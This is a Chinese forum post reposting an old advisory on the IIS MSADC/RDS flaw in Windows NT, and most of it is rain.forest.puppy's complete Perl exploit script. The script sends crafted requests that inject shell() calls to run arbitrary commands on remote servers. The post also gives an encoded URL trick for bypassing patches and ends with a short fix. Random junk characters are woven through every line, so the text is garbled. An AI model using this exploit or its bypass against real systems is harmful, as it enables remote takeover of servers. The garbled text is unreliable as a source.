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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) ? .c?Pu  
$.oOG"u0]  
涉及程序: 0s 860Kn  
Microsoft NT server La`h$=#`  
<A#5v\{.;~  
描述: G_V.H \w  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 vP3K7En  
=ud `6{R  
详细:  M*d-z  
如果你没有时间读详细内容的话,就删除: kRmj"9oA  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 25xcD1*  
有关的安全问题就没有了。 N=>- Q)  
Q,zC_  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 yB-.sGu  
d32@M~vD  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 >$2E1HW.  
关于利用ODBC远程漏洞的描述,请参看: $z= 0[%L  
= y?#^  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm h6g=$8E  
NNwc!x)*  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 |if'_x1V  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp |WB"=PE  
]}BB/KQy^  
这里不再论述。 Cf Qf7-  
y7CWBTH0>  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: W;^N8ap%  
&(g m4bTg  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset vGXWwQ.1Tp  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! YV*b~6{d  
j._G7z/LJ  
;5<P|:^  
#将下面这段保存为txt文件,然后: "perl -x 文件名" bX7EO 8  
Xa4GqV9M/-  
#!perl ows^W8-w  
# 6H0W`S0a  
# MSADC/RDS 'usage' (aka exploit) script p?Z(rCp  
# 3f_i1|>)'  
# by rain.forest.puppy .FuA;:@%\  
# a lrt*V|=  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me 8|w-XR  
# beta test and find errors! }.'Z =yy  
O'fk&&l  
use Socket; use Getopt::Std; |-|jf  
getopts("e:vd:h:XR", \%args); "hW(S  
L*P_vCC  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; }qG#N  
_HwpPRVP/  
if (!defined $args{h} && !defined $args{R}) { ]22C )<  
print qq~ qc3~cH.@  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ])C>\@c6Gm  
-h <host> = host you want to scan (ip or domain) >b'w'"  
-d <seconds> = delay between calls, default 1 second 6{Ks`Af  
-X = dump Index Server path table, if available T$u~E1  
-v = verbose 9x(}F<L  
-e = external dictionary file for step 5 pL~=Z?(B  
?gLAWz  
Or a -R will resume a command session %8 qSv%_  
t')h{2&&!2  
~; exit;} `Z:3` 7c  
f7Zf}1|  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; "MTWjW*6  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} Lj iI+NJ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} .?f:Nb.O  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); Ee8--  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} JPLI @zX^  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 7ZQ'h3K  
c -w0  
if (!defined $args{R}){ $ret = &has_msadc; `0?^[;[u[  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 9<v}LeX  
y5_XHi@u~o  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" bjlkX[{}I  
. "cmd /c "; u^l*5F%DK  
$in=<STDIN>; chomp $in; 7gm:ZS   
$command="cmd /c " . $in ; z`OkHX*+2|  
_e*c  
if (defined $args{R}) {&load; exit;} mY`@'  
m`c#:s'_  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; SBX|Bcyk*  
&try_btcustmr; 8^y=H=  
vb %T7  
print "\nStep 2: Trying to make our own DSN..."; ;,dkJ7M  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; [.a;L">  
Mm.Ql  
print "\nStep 3: Trying known DSNs..."; & N;pH  
&known_dsn; V/+Jc( N  
l&3ki!  
print "\nStep 4: Trying known .mdbs..."; PRwu  
&known_mdb; z>|)ieL  
"c,!vc4  
if (defined $args{e}){ *="m3:c'J  
print "\nStep 5: Trying dictionary of DSN names..."; 9\>sDSCx  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } iD<6t_8),  
\e|U9;Mf  
print "Sorry Charley...maybe next time?\n"; izf~w^/  
exit; 9Eg&CZ,9$D  
JR)/c6j  
############################################################################## 7G"7wYc>R  
,%Z&*n  
sub sendraw { # ripped and modded from whisker AFm,CINa  
sleep($delay); # it's a DoS on the server! At least on mine... XIRR Al(,  
my ($pstr)=@_; H*rx{F?  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || gD6tHg>_  
die("Socket problems\n"); H<Hrwy~  
if(connect(S,pack "SnA4x8",2,80,$target)){ ;R!*I%  
select(S); $|=1; Ft) lp>3gv  
print $pstr; my @in=<S>; xg} ug[  
select(STDOUT); close(S); <BPRV> 0X  
return @in; 6JH 56  
} else { die("Can't connect...\n"); }} YDFCGA  
XVF^,Yf  
############################################################################## ]`d2_mu  
f^?uY8<  
sub make_header { # make the HTTP request )v1CC..  
my $msadc=<<EOT 's.~$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 \TUE<<?1s  
User-Agent: ACTIVEDATA ?+Q$#pb  
Host: $ip sB6dp D  
Content-Length: $clen ~:EW>Fq%i  
Connection: Keep-Alive +#s;yc#=2  
f;wc{qy  
ADCClientVersion:01.06 D%U:!|G  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 YjLe(+ WQ  
-\Z `z}D  
--!ADM!ROX!YOUR!WORLD! /EU ; ?O  
Content-Type: application/x-varg Sdx Y>;  
Content-Length: $reqlen l{5O5%\,  
ik5|,#}m&  
EOT %2D17*eK  
; $msadc=~s/\n/\r\n/g; Mlj#b8  
return $msadc;} ?/'}JS(Sm  
<0 uOq  
############################################################################## Qn.[{rw  
Me/\z^pF  
sub make_req { # make the RDS request Us-A+)r*!  
my ($switch, $p1, $p2)=@_; Q]rqD83((  
my $req=""; my $t1, $t2, $query, $dsn; ,H39V+Y*  
6IP$n($2  
if ($switch==1){ # this is the btcustmr.mdb query !5UfWk\G  
$query="Select * from Customers where City=" . make_shell(); }lP5 GT2  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . 9P.(^SD][z  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} RqLNp?V%  
8QF2^*RZ7z  
elsif ($switch==2){ # this is general make table query *QH[,F`I  
$query="create table AZZ (B int, C varchar(10))"; M3(k'q7&:  
$dsn="$p1";} T4r5s  
NR4Jn?l{  
elsif ($switch==3){ # this is general exploit table query 6^E`Sa! s  
$query="select * from AZZ where C=" . make_shell(); ~;unpym'  
$dsn="$p1";} w^{! U  
p7C!G1+z  
elsif ($switch==4){ # attempt to hork file info from index server CCqT tp  
$query="select path from scope()"; jK3\K/ob(  
$dsn="Provider=MSIDXS;";} /\J|Uj  
I60DUuF  
elsif ($switch==5){ # bad query xmr|'}Pt[  
$query="select"; p)3nyN=|_  
$dsn="$p1";} :c7CiP  
?2ItB`<(  
$t1= make_unicode($query); ArzDI{1  
$t2= make_unicode($dsn); @B`Md3$7  
$req = "\x02\x00\x03\x00"; P^[/Qi}j  
$req.= "\x08\x00" . pack ("S1", length($t1)); tg85:  
$req.= "\x00\x00" . $t1 ; NfwYDY  
$req.= "\x08\x00" . pack ("S1", length($t2)); OVR?*"N_  
$req.= "\x00\x00" . $t2 ; mW4%2fD[  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; z(H?VfJo  
return $req;} q4ipumy*  
=yqHC<8:  
############################################################################## ;S JF%@x  
vZkXt!%)  
sub make_shell { # this makes the shell() statement |nY~ZVTt/  
return "'|shell(\"$command\")|'";} [w+Q^\%bN  
hNbIpi=  
############################################################################## PAZ$_eSK6  
V=}1[^  
sub make_unicode { # quick little function to convert to unicode D.*>;5:0'  
my ($in)=@_; my $out; eko]H!Ov(  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } vM`~)rO@!  
return $out;} )acV-+{  
[X/(D9J  
############################################################################## tln1eN((q  
6OB",  
sub rdo_success { # checks for RDO return success (this is kludge) ai;\@$ cq  
my (@in) = @_; my $base=content_start(@in); 4:1)~z  
if($in[$base]=~/multipart\/mixed/){ Mo^`\ /x!  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 2 9#]Vr  
return 0;} kNPDm6m  
'RTtE  
############################################################################## QCpM|,drS  
;h~er6&   
sub make_dsn { # this makes a DSN for us V1<`%=%_W  
my @drives=("c","d","e","f"); +a$|Sc  
print "\nMaking DSN: "; %8FN0  
foreach $drive (@drives) { ut &/\k=N  
print "$drive: "; mhzYz;}  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "&QH6B1U6H  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" CWlW/>yF B  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); o\6iq  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; L"vj0@n'0  
return 0 if $2 eq "404"; # not found/doesn't exist E5UcZ7  
if($2 eq "200") { <1@ (ioPH  
foreach $line (@results) { -9o{vmB{  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} G!Zyl^  
} return 0;} 4# )6.f~  
&ao(!/im  
############################################################################## MzTW8  
;>ozEh#8w  
sub verify_exists { }9&9G%  
my ($page)=@_; 'fY9a(Xt.  
my @results=sendraw("GET $page HTTP/1.0\n\n"); HI!4  
return $results[0];} ({[,$dEa;  
#I%s 3  
############################################################################## -Mf Q&U   
z"379b7cN  
sub try_btcustmr { $<w)j!  
my @drives=("c","d","e","f"); 4| Ui?.4=  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 2]ti!<  
::"E?CQLV  
foreach $dir (@dirs) { )`?%]D  
print "$dir -> "; # fun status so you can see progress V3.t;.@  
foreach $drive (@drives) { '*!L!VJ  
print "$drive: "; # ditto IOEM[zhb$  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; ;/sHWI f+Z  
$reqlenlen=length( "$reqlen" ); `fS^ j-_M  
$clen= 206 + $reqlenlen + $reqlen; n&!+wcJ;Yt  
A';QuWdT  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); {p/YCch,  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} \:&@;!a  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} A3+6 #?:;  
$sgH'/>  
############################################################################## ,rO[mNk9@  
Z[ZDQ o1  
sub odbc_error { k4y}&?$B  
my (@in)=@_; my $base; rK|*hcy  
my $base = content_start(@in); I>"Ci(N  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this A6p`ma $L  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {-WTV"L5*2  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; lhPGE_\  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; C1fyV]  
return $in[$base+4].$in[$base+5].$in[$base+6];} g>0vm2|  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ^:cRp9l"7  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . N"c(e6  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} qnIew?-*  
12( wj6Q  
############################################################################## i_l+:/+G+  
M{KW@7j  
sub verbose { flnVYQe  
my ($in)=@_; r@$ w*%  
return if !$verbose; 8cdsToF(e.  
print STDOUT "\n$in\n";} (:sZ b?*  
ZkWL_ H)  
############################################################################## b^Cfhy^RTq  
`ROG~0lN(  
sub save { <avQR9'&  
my ($p1, $p2, $p3, $p4)=@_; h-XY4gq/  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; NFyMY#\]  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; &<1 `O  
close OUT;} F ?=9eISLJ  
!%S4 n  
############################################################################## $>w/Cy  
!j^&gRH  
sub load { RKuqx:U  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; {o|k.zy  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); >.DC!QV  
@p=<IN>; close(IN); |wp ,f%WK  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); e!X(yJI[O6  
$target= inet_aton($ip) || die("inet_aton problems"); *g$i5!yM'  
print "Resuming to $ip ..."; :uK btoA  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; d3^7ag%  
if($p[1]==1) { YfDWM7x7,  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; wNDbHR  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; kb #^lO  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); >"d?(@PJ  
if (rdo_success(@results)){print "Success!\n";} o8S"&O ?  
else { print "failed\n"; verbose(odbc_error(@results));}} ct n, ]ld  
elsif ($p[1]==3){ /QxlGfNZ  
if(run_query("$p[3]")){ r88"#C6E'  
print "Success!\n";} else { print "failed\n"; }} .C!vr@@]  
elsif ($p[1]==4){ nWaNT-  
if(run_query($drvst . "$p[3]")){ $a#H,Xv#  
print "Success!\n"; } else { print "failed\n"; }} 658^"]Rk'/  
exit;} I1=(. *B}  
o"+ i&Wp~  
############################################################################## k1}hIAk3u  
2<r\/-#pU  
sub create_table { 9- )qZ  
my ($in)=@_; @*O?6>  
$reqlen=length( make_req(2,$in,"") ) - 28; yoS? s  
$reqlenlen=length( "$reqlen" ); K* vU5S  
$clen= 206 + $reqlenlen + $reqlen; $8 =@R'  
my @results=sendraw(make_header() . make_req(2,$in,"")); wk $,k  
return 1 if rdo_success(@results); (! KG)!  
my $temp= odbc_error(@results); verbose($temp); P:{<*`q  
return 1 if $temp=~/Table 'AZZ' already exists/; Qvqqvk_tv  
return 0;} ` \ZqgX4  
iHBB,x  
############################################################################## 74J@F2g}?  
"/+zMLY  
sub known_dsn { Qn+:/ zA;  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go b2) \ MNH  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", K1q+~4>\|  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", T *>`,}J  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); <bUe/m  
,+1m`9}  
foreach $dSn (@dsns) { X.#oEmA ,P  
print "."; f =s&n}  
next if (!is_access("DSN=$dSn")); Mr3-q  
if(create_table("DSN=$dSn")){ l-)B ivoi  
print "$dSn successful\n"; Q*ju sm  
if(run_query("DSN=$dSn")){ _8fA?q=  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { JK)qZ=  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 46x.i;b7  
U ?b".hJ2  
############################################################################## E^V |  
[r-}bp'Gp  
sub is_access { ?6N3tk-2  
my ($in)=@_; !m y8AWO'  
$reqlen=length( make_req(5,$in,"") ) - 28; r o\1]`6  
$reqlenlen=length( "$reqlen" ); elO<a]hX  
$clen= 206 + $reqlenlen + $reqlen; W>-B [5O&[  
my @results=sendraw(make_header() . make_req(5,$in,"")); WxUxc75  
my $temp= odbc_error(@results); %dttE)oH?  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); cxyM\@QB3  
return 0;} FxW&8 9G  
B$a-og(  
############################################################################## jAhP> t:  
ERz;H!pU8  
sub run_query { Y`ihi,s`H  
my ($in)=@_; "v]%3i.* -  
$reqlen=length( make_req(3,$in,"") ) - 28; D$r Uid  
$reqlenlen=length( "$reqlen" ); l54 m22pfv  
$clen= 206 + $reqlenlen + $reqlen; vNDu9ovs-  
my @results=sendraw(make_header() . make_req(3,$in,"")); 3Qn!y\#  
return 1 if rdo_success(@results); mY-hN|  
my $temp= odbc_error(@results); verbose($temp); eph)=F$  
return 0;} 1|| nR4yK  
vF={9G  
############################################################################## ^twivNB  
+wfVL|.Wq  
sub known_mdb { /b[2lTC-e  
my @drives=("c","d","e","f","g"); !{UTD+|=N  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 5J.0&Dda  
my $dir, $drive, $mdb; F jrINxL7^  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; AR&:Q4r|  
+]wuJSxc  
# this is sparse, because I don't know of many q9*MNHg }  
my @sysmdbs=( "\\catroot\\icatalog.mdb", &xd.Qi2  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", i!H!;z#  
"\\system32\\certmdb.mdb", 4{na+M  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% !DXNo(:r  
5>_5]t {  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", WNX5iwm  
"\\cfusion\\cfapps\\forums\\forums_.mdb", j;nb?;  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", ;`j/D@H  
"\\cfusion\\cfapps\\security\\realm_.mdb", X@wm1{!  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", 1y"3  
"\\cfusion\\database\\cfexamples.mdb", ^Z,q$Gp~P  
"\\cfusion\\database\\cfsnippets.mdb", l* dV\ B  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ][@F  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 5er@)p_  
"\\cfusion\\brighttiger\\database\\cleam.mdb", bud&R4+  
"\\cfusion\\database\\smpolicy.mdb", vfc[p ^  
"\\cfusion\\database\cypress.mdb",  Lc2QXeo8  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", FQsUm?ac:  
"\\website\\cgi-win\\dbsample.mdb", P,xwSvO#M  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", '+y_\  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 9^ed-h Bf  
); #these are just KG9t3<-`  
foreach $drive (@drives) { zc+@lJy  
foreach $dir (@dirs){ J%rP$O$  
foreach $mdb (@sysmdbs) { XEH}4;C'{  
print "."; +Ic ~ f1zh  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ k5BXirB  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; 3'I^lc  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !u|Tu4G^  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; MmoR~~*  
} else { print "Something's borked. Use verbose next time\n"; }}}}} t%VDRZo7  
]`o!1(GA  
foreach $drive (@drives) { Ud%s^A-qS  
foreach $mdb (@mdbs) { Qd`T5[b\  
print "."; d j5hv~  
if(create_table($drv . $drive . $dir . $mdb)){ d5m`Bm-{  
print "\n" . $drive . $dir . $mdb . " successful\n"; %j,iAUE<  
if(run_query($drv . $drive . $dir . $mdb)){ ^rAa"p9  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; +OaUP*\Dd  
} else { print "Something's borked. Use verbose next time\n"; }}}} /pH(WHT+/H  
} U>qHn'M  
ODw`E9  
############################################################################## h1D?=M\9  
|L3X_Me  
sub hork_idx { x hs#u  
print "\nAttempting to dump Index Server tables...\n"; #KpY6M-H  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; eny/ fm  
$reqlen=length( make_req(4,"","") ) - 28; Ve 3 ;  
$reqlenlen=length( "$reqlen" ); B;#J"6w  
$clen= 206 + $reqlenlen + $reqlen; ).412I  
my @results=sendraw2(make_header() . make_req(4,"","")); ]/2T\w.<  
if (rdo_success(@results)){ @r7:NU}  
my $max=@results; my $c; my %d; l&(l$@t  
for($c=19; $c<$max; $c++){ 3c'#6virz  
$results[$c]=~s/\x00//g; t;qP']2  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; zd %rs~*c  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; N;sm*+r  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; eCbf9B  
$d{"$1$2"}="";} p^)B0[P9  
foreach $c (keys %d){ print "$c\n"; } Z9`TwS@x[  
} else {print "Index server doesn't seem to be installed.\n"; }} ~W0(1# i  
~eh0[mF^]  
############################################################################## 0DPxW8Y-`  
sp9W?IJ 6c  
sub dsn_dict { wVl+]zB  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); -%c<IX>z9  
while(<IN>){ }%!tT\8  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ^V*-1r1  
next if (!is_access("DSN=$dSn")); 0?Q_@Y  
if(create_table("DSN=$dSn")){ -b;|q.!  
print "$dSn successful\n"; rVSZ.+n  
if(run_query("DSN=$dSn")){ W_YY#wf_  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ?}p:J{  
print "Something's borked. Use verbose next time\n";}}} nA7M8HB  
print "\n"; close(IN);} C|-pD  
AG6K daJ  
############################################################################## 5r,r%{@K  
.10y0F L4  
sub sendraw2 { # ripped and modded from whisker h:bru:ef  
sleep($delay); # it's a DoS on the server! At least on mine... L{{CAB!  
my ($pstr)=@_; O~Wt600{E  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || s Kicn5  
die("Socket problems\n"); T Eu'*>g  
if(connect(S,pack "SnA4x8",2,80,$target)){ /1w2ehE<  
print "Connected. Getting data"; :\ QUs}  
open(OUT,">raw.out"); my @in; 1QqHF$S  
select(S); $|=1; print $pstr; cW8\d  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} F'm(8/A$  
close(OUT); select(STDOUT); close(S); return @in; myFAKRc  
} else { die("Can't connect...\n"); }} "hz\Z0zg2  
\Gp*x\<^Z  
############################################################################## JC?N_kP%W  
^]C&tG0 !  
sub content_start { # this will take in the server headers RD,5AShP  
my (@in)=@_; my $c; qPGuo5^  
for ($c=1;$c<500;$c++) { xJ8%<RR!t  
if($in[$c] =~/^\x0d\x0a/){ X|LxV]  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ;QCrHqRT`  
else { return $c+1; }}} H6TD@kL9Wr  
return -1;} # it should never get here actually v 4/-b4ET  
]bdFr/!'S+  
############################################################################## "`Ge~N[$A  
/'.=sH  
sub funky { Rf-[svA  
my (@in)=@_; my $error=odbc_error(@in); .4y>QN#VL  
if($error=~/ADO could not find the specified provider/){ 4-GXmC  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; bru/AZ#de  
exit;} (oz$B0HO:  
if($error=~/A Handler is required/){ lK7m=[ j  
print "\nServer has custom handler filters (they most likely are patched)\n"; uGU; Y'W)  
exit;} * *H&+T/B  
if($error=~/specified Handler has denied Access/){ $:s`4N^  
print "\nServer has custom handler filters (they most likely are patched)\n"; } R4c  
exit;}} cE'L% Z  
;lX(}2tXW  
############################################################################## E.bi05l  
sW#JjtK  
sub has_msadc { PCrU<J 7  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); }G<T:(a  
my $base=content_start(@results); 58xnB!h\}  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); %(/!ljh_  
return 0;} z&8un% Jt  
`6Qdfmk=  
######################## QnouBrhO  
yF._*9Q3hK  
FyoEQ%.bI  
解决方案: B$Z3+$hfF  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll P,DC7\  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 1SIq[1  
pE.PX 8  
拿出来充数 哈哈
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